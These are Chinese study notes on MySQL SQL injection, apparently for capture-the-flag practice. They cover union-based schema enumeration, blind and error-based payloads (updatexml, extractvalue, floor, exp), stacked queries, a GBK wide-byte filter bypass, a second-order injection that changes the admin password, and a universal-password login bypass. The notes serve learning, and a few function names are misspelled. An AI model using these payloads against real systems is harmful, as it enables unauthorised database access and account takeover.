SQL注入详细总结
注:菜鸡笔记,酌情参考,欢迎指正
SQL注入原理
当对用户传入数据过滤不严格时,用户可在 Web表单递交
或 输入域名
或 `页面请求处提交查询的SQL语句,将这些查询语句传递给后端数据执行,从而引发实际执行的语句与预期执行的语句不同,导致数据库原有的信息泄露,篡改,甚至删除。
sql关键字
- information_schema.tables 存放表名和库名的对应
- information_schema.columns 存放字段名和表名的对应
注: information_schema.tables 实际上是选中information_schema库中的tables表
步骤
一,找出注入点
在用会提交参数的地方如果传入sql语句后,会出现页面报错信息,则说明执行了SQL语句,证明该处为注入点
?id=1 or 1=1
?id=1 or 1=2
二,判断字段长度
判断所查询的字段数目 —— order by
' order by =n //1,2, 3, 4 ..... n报错时,说明存在n-1个字段
三,判断显示位
利用联合查询(union select)来判断显示位
union select 1,2,3,4,5,6,7…… //数字表示字段数
四,查数据库名
union select 1,2,database()
五,查表名
union select 1,2,table_name from information_schema.tables where
table_schema=database()
六,查列名
union select 1,2,column_name from information_schema.columns where
table_name='表名' and table_schema=database()
七,查字段值
union select 1,字段名,字段名 from 表名
注入点
1,cookie注入:注入点在cookie,通过bp抓包后在cookie处提交
2,UA注入(user agent):注入点在user-agent处,通过bp在UA处提交即可
3,refer注入:注入点在refer处
HTTP Referer是header的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。 这句话的意思就是,只有当你向浏览器发送请求时,才会带上referer
##联合注入
联合注入有特性**:利用联合注入向数据库里写东西的原因?**
答:在使用联合注入时,如果你查询的数据不存在,那么就会生成一个内容为null的虚拟数据,也就是说**在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。**所以这时我们就可以在注入时添加我们需要的信息来完成我们的目的。
参考:https://buuoj.cn/challenges#[GXYCTF2019]BabySQli
##盲注
###布尔盲注
- 布尔有明显的True跟Flase,也就是说它会根据你的注入信息返回Ture跟Flase,也就没有了之前的报错信息.
###时间盲注
- 页面返回值只有一种Ture,无论输入认识值,返回情况都会按正常来处理.加入特定的时间函数,根据页面返回时间来判断查询语句是否正确
布二盲注与时间盲注的区别在于,布尔盲注通过页面返回信息判断注入语句是否正确,时间盲注通过页面返回时间判断
###盲注常用函数
- length() 函数 返回字符串的长度
- substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
- scii() 返回字符的ascii码 [将字符变为数字wei]
- sleep() 将程序挂起一段时间n为n秒
- if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
注入语句对比
and (length(database()))>1 //布尔盲注
and if(ascii(substr(database(),1,1))>1,0,sleep(5)) //时间盲注
报错注入
传入的sql语句会通过报错信息回显,当没有回显位时可利用此方法
xpath语法报错
- **Updatexml() **: 更新XML文档
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
//updatexml(目标xml内容,xml文档路径,更新的内容)
//0x7e:16进制,表示~
通过更新xml文档的方法,在xml文档路径的位置处写入查询语句
- extractvalue() :查询xml文档中的值
and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
//extractvalue(查询目标xml内容,xpath格式的字符串)
一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数。
exp报错
注:暂未做到此类题目,具体不太清楚
exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后取反它的值总会大于709所以报错,适用版本:5.5.5,5.5.49,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错,~符号为运算符,意思为一元字符反转。
exp(~(select * from(查询语句)a))
union select exp(~(select * from(select database())a))
这里必须使用嵌套,因为不使用嵌套不加select*from 无法大整数溢出
floor()报错
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,
select * from users;show databases;
堆叠注入的局限性:在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
宽字节注入
原理:MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c
就是一个 汉字。
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 \’
1,%df**’
urlencode(’) = %5c%27,因此要绕过过滤,可以在%5c%27前面添加%df,变为%df%5c%27,mysql在GBK编码时,%df%5c就会被解析为一个汉字,%27就作为一个单独的 ’ 留在了外面,以此来绕过过滤
2,将 \'
中的 \
过滤掉
例如可以构造 %5c%5c%27
的情况,后面的%5c
会被前面的%5c
给注释掉。这也是 bypass 的一种方法。
容易产生宽字节的php函数:
replace()
addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:', " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ’ " \x1a
二次注入
黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#
,那么此时的完整语句就为:sql
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
常见的查询函数
常见查询的函数
① version() – 数据库版本
② user() – 数据库用户
③ database() – 当前所在数据库
④ current_user() – 当前用户名
⑤ system_user() – 系统用户名
⑥ session_user() – 连接到数据库的用户名
⑦ @@basedir – 数据库的安装目录
⑧ @@datadir – 数据库文件存放目录
做题中的小问题
1,万用密码:?username=admin’ or ‘1’='1# &password=1
2, limit 1.1:显示查询结果的第二条语句 “ limit1.1 ”是一个条件限定,作用是取查询结果第1条结果后的一条记录,,
3,mysql中,当等号两边的数据类型不一致时会发生强制转换。当字符串与数字进行比较时,字符转会被强制转换为数字,在进行比较eg:字符串1与数字相等,字符串1a会被转换为1,与1相等,而字符a被强制转换为0 即‘a’=0 用此方法可以判断是否为字符型
4,如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1,不做类型转换。
两个参数都是字符串,按照字符串比较,不做类型转换。
两个参数都是整数,按照整数比较,不做类型转换。
如果不与数字进行比较,则将十六进制值视为二进制字符串。
有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
所有其他情况下,两个参数都会被转换为浮点数再进行比较。
5,sql语句中可能用到的函数
mid()---从文本字段中提取字符
limit()---返回前几条或者中间某几行数据
concat、concat_ws、group_concat
MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
rand随机数(产生0,1之间随机数)
right(),left() //在读取数据长度受限制时可利用此函数